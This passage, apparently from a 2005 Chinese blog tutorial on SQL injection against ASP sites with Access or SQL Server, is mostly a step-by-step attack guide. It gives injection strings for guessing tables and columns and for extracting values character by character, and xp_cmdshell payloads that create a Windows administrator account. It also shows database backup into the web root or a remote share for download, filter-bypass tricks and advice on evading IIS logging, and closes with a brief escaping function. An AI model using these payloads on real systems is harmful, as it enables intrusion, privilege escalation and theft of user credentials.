第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网

址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二

个网址只作为开启IIS错误提示时的验证。

进阶篇

在入门篇，我们学会了ＳＱＬ注入的判断方法，但真正要拿到网站的保密内容，是远远不

够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看

ＳＱＬ注入的一般步骤：

第一节、ＳＱＬ注入的一般步骤

首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。

其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种：

(A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件]，即是生成语句：
Select * from 表名 where 字段=49 And [查询条件]

(B) Class=连续剧这类注入的参数是字符型，SQL语句原貌大致概如下：
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ，即是生成语句：
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’

(C) 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下：
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’，即是生成语句：
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’

接着，将查询条件替换成SQL语句，猜解表名，例如：

ID=49 And (Select Count(*) from Admin)>=0

如果页面就与ID=49的相同，说明附加条件成立，即表Admin存在，反之，即不存在（请牢

记这种方法）。如此循环，直至猜到表名为止。

表名猜出来后，将Count(*)替换成Count(字段名)，用同样的原理猜解字段名。

有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去

了。说得很对，这世界根本就不存在100%成功的黑客技术，苍蝇不叮无缝的蛋，无论多技

术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。

有点跑题了，话说回来，对于SQLServer的库，还是有办法让程序告诉我们表名及字段名的

，我们在高级篇中会做介绍。

最后，在表名和列名猜解成功后，再使用SQL语句，得出字段的值，下面介绍一种最常用的

方法－Ascii逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。

我们举个例子，已知表Admin中存在username字段，首先，我们取第一条记录，测试长度：

http://www.19cn.com/showdetail.asp?id=49;;and (select top 1 len(username) fro

m Admin)>0

先说明原理：如果top 1的username长度大于0，则条件成立；接着就是>1、>2、>3这样测

试下去，一直到条件不成立为止，比如>7成立，>8不成立，就是len(username)=8

　　当然没人会笨得从0,1,2,3一个个测试，怎么样才比较快就看各自发挥了。在得到use

rname的长度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1))得到A

SCII码，比如：

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同样也是用逐步缩小范围的方法得到第1位字符的ASCII码，注意的是英文和数字的ASCII码

在1-128之间，可以用折半法加速猜解，如果写成程序测试，效率会有极大的提高。

第二节、ＳＱＬ注入常用函数

有SQL语言基础的人，在ＳＱＬ注入的时候成功率比不熟悉的人高很多。我们有必要提高一

下自己的SQL水平，特别是一些常用的函数及命令。

Access：asc(字符) SQLServer：unicode(字符)

作用：返回某字符的ASCII码

Access：chr(数字) SQLServer：nchar(数字)

作用：与asc相反，根据ASCII码返回字符

Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)

作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串

Access：abc(数字) SQLServer：abc (数字)

作用：返回数字的绝对值（在猜解汉字的时候会用到）

Access：A between B And C SQLServer：A between B And C

作用：判断A是否界于B与C之间

第三节、中文处理方法

在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对

中文的编码有所了解，“中文恐惧症”很快可以克服。

先说一点常识：

Access中，中文的ASCII码可能会出现负数，取出该负数后用abs()取绝对值，汉字字符不

变。

SQLServer中，中文的ASCII为正数，但由于是UNICODE的双位编码，不能用函数ascii()取

得ASCII码，必须用函数unicode ()返回unicode值，再用nchar函数取得对应的中文字符。

了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注

意、猜解范围大一点外，方法是没什么两样的。

高级篇

看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜

不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？

请大家接着往下看高级篇。

第一节、利用系统表注入SQLServer数据库

SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了

很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：

① http://Site/url.asp?id=1exec master..xp_cmdshell “net user name password

/add”--

　　分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句

语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_

cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码

为password的windows的帐号，接着：

② http://Site/url.asp?id=1exec master..xp_cmdshell “net localgroup name adm

inistrators /add”--

　　将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，

这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。

　　③ http://Site/url.asp?id=1;;and db_name()>0

前面有个类似的例子and user>0，作用是获取连接用户名，db_name()是另一个系统变量，

返回的是连接的数据库名。

④ http://Site/url.asp?id=1backup database 数据库名 to disk=’c:\inetpub\wwwr

oot\1.db’;--

这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库

备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户

密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如\\202.96

.xx.xx\Share \1.db），但成功率不高。

　　⑤ http://Site/url.asp?id=1;;and (Select Top 1 name from sysobjects where

xtype=’U’ and status>0)>0

前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象

，xtype=’U’ and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与

0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明

的读者思考吧。

⑥ http://Site/url.asp?id=1;;and (Select Top 1 col_name(object_id(‘表名’),1

) from sysobjects)>0

从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID，col_name(表名ID,1)代

表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

　　以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了

解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水

平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。

第二节、绕过程序限制继续注入

在入门篇提到，有很多人喜欢用’号测试注入漏洞，所以也有很多人用过滤’号的方法来

“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对ＳＱＬ注入比较熟悉的人，还

是可以利用相关的函数，达到绕过程序限制的目的。

在“ＳＱＬ注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单

引号的；在“利用系统表注入SQLServer数据库”中，有些语句包含有’号，我们举个例子

来看看怎么改造这些语句：

简单的如where xtype=’U’，字符U对应的ASCII码是85，所以可以用where xtype=char(

85)代替；如果字符是中文的，比如where name=’用户’，可以用where name=nchar(299

92)+nchar(25143)代替。

第三节、经验小结

1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家

可以用selecT这样尝试一下。

2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单

的输入框取相同的名字。

3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可

以参考URLEncode的相关介绍。

4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用

Post的网址尽量不用Get。

5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间

的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大

的提高。

防范方法

ＳＱＬ注入漏洞可谓是“千里之堤，溃于蚁穴”，这种漏洞在网上极为普遍，通常是由于

程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给

大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say NO，函数如下：

Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符型
'ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符)

Dim Paravalue
Paravalue=Request(ParaName)
If ParaType=1 then
If not isNumeric(Paravalue) then
Response.write "参数" & ParaName & "必须为数字型！"
Response.end
End if
Else
Paravalue=replace(Paravalue,"'","''")
End if
SafeRequest=Paravalue
End function

文章到这里就结束了，不管你是安全人员、技术爱好者还是程序员，我都希望本文能对你

有所帮助。

posted @ 2005-07-08 12:52 快乐着飞舞着阅读(219) | 评论 (0) | 编辑收藏